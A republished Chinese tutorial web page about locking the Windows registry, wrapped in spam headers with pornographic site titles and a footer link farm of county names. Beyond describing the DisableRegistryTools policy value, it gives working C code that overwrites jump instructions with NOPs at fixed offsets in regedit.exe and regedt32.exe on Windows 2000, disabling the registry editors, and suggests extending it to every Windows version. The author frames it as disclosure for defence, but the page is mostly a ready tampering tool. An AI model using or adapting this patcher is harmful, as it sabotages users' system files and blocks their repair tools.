国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 操作系統 > 正文

注冊表終極操作—鎖定注冊表

2024-07-26 00:31:41
字體:
來源:轉載
供稿:網友

  你有沒有遇到注冊表被鎖定,無法打開注冊表來手工修復呢?很多人都為這個頭疼吧,相信你被鎖定一次就知道他的操作原理了:

  修改[HKEY_CURRENT_USER/Software/
Microsoft/Windows/Current
Version/Policies/System]下的DisableRegistryTools值為1

  解鎖的方法也有幾種,比如程序用API函數調用注冊表直接刪除,做一個REG文件直接導入,寫一個腳本…………

  今天我就教大家寫個程序來實現另類鎖定,是不是很好奇了?跟我來。

  實驗環境:windows2000
  實驗目的:鎖定注冊表(本方法利用了Cracker的思路來實現,直接讓程序修改程序指令,使調用注冊表程序禁止。)
  實現方法:C程序

  首先我們要按照Cracker的思路反匯編WINNT下的regedit.exe和regedt32.exe找到跳轉指令,怎么得到這些信息不是我們今天的目的,這里我就不詳細介紹了,以下是我反匯編找到的跳轉地址:
  1.regedit.exe
偏移地址:0x69CA 將指令:0x74 0x1A 修改成:0x90 0x90

  2.regedt32.exe
偏移地址:0x10bf2 將指令:0x74 0x52 修改成:0x90 0x90

  現在我們用程序把這2個偏移地址的指令給修改成0x90 0x90 ( 0x90代表nop,就是讓程序什么也不做,執行下一條指令)讓我們看看程序是如何實現的吧。

#include
#include
bool scanreg(const char *file,long offset, int length,char *the); /*函數說明*/

main()
{
char the[]={ 0x90,0x90 };
scanreg("C://WINNT//regedit.exe",0x69CA,0x02,the); /*調用函數修改winnt下的regedit.exe 其中的0x02是修改長度*/
scanreg("C://WINNT//ServicePackFiles//i386//regedit.exe",0x69CA,0x02,the); /*調用函數改變補丁下regedit.exe*/
scanreg("C://WINNT//system32//regedt32.exe",0x10bf2,0x02,the); /*調用函數修改system32下的regedt32.exe */
scanreg("C://WINNT//ServicePackFiles//i386//regedt32.exe",0x10bf2,0x02,the); /*調用函數改變補丁下regedt32.exe*/
}
bool scanreg(const char *file,long offset, int length,char *the)
{
FILE *fp = NULL;
bool result=false;
if((fp=fopen(file,"rb+"))!=NULL) /*打開文件進行讀寫操作*/
{
fseek(fp,offset,1); /*把指針指向我們定義的偏移地址*/
fwrite(the,length,1,fp); /*修改程序,把指令替換成0x90*/
fclose(fp); /*關閉文件*/
result=true;
}
return(result);
}

  好了,我這里只是一個示范,只適合2000系統,把windows每種系統的注冊表調用程序都分析一下,然后在程序開始用API函數GetVersionEx(LPOSVERSIONINFO lpVersionInfo)判斷系統,根據判斷的系統來調用相應的修改函數。那不是通殺windows了?上面把方法公布出來,以便大家做好防范。


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 临澧县| 永德县| 蕲春县| 蓬安县| 霞浦县| 忻城县| 泸西县| 保德县| 承德县| 上思县| 元朗区| 镇宁| 封丘县| 棋牌| 河间市| 堆龙德庆县| 红原县| 溆浦县| 莎车县| 冷水江市| 满城县| 阳信县| 马尔康县| 山西省| 保定市| 托克托县| 会理县| 定结县| 榆林市| 新津县| 临高县| 定陶县| 双辽市| 朔州市| 金沙县| 淮安市| 信丰县| 汤阴县| 衡南县| 西安市| 临澧县|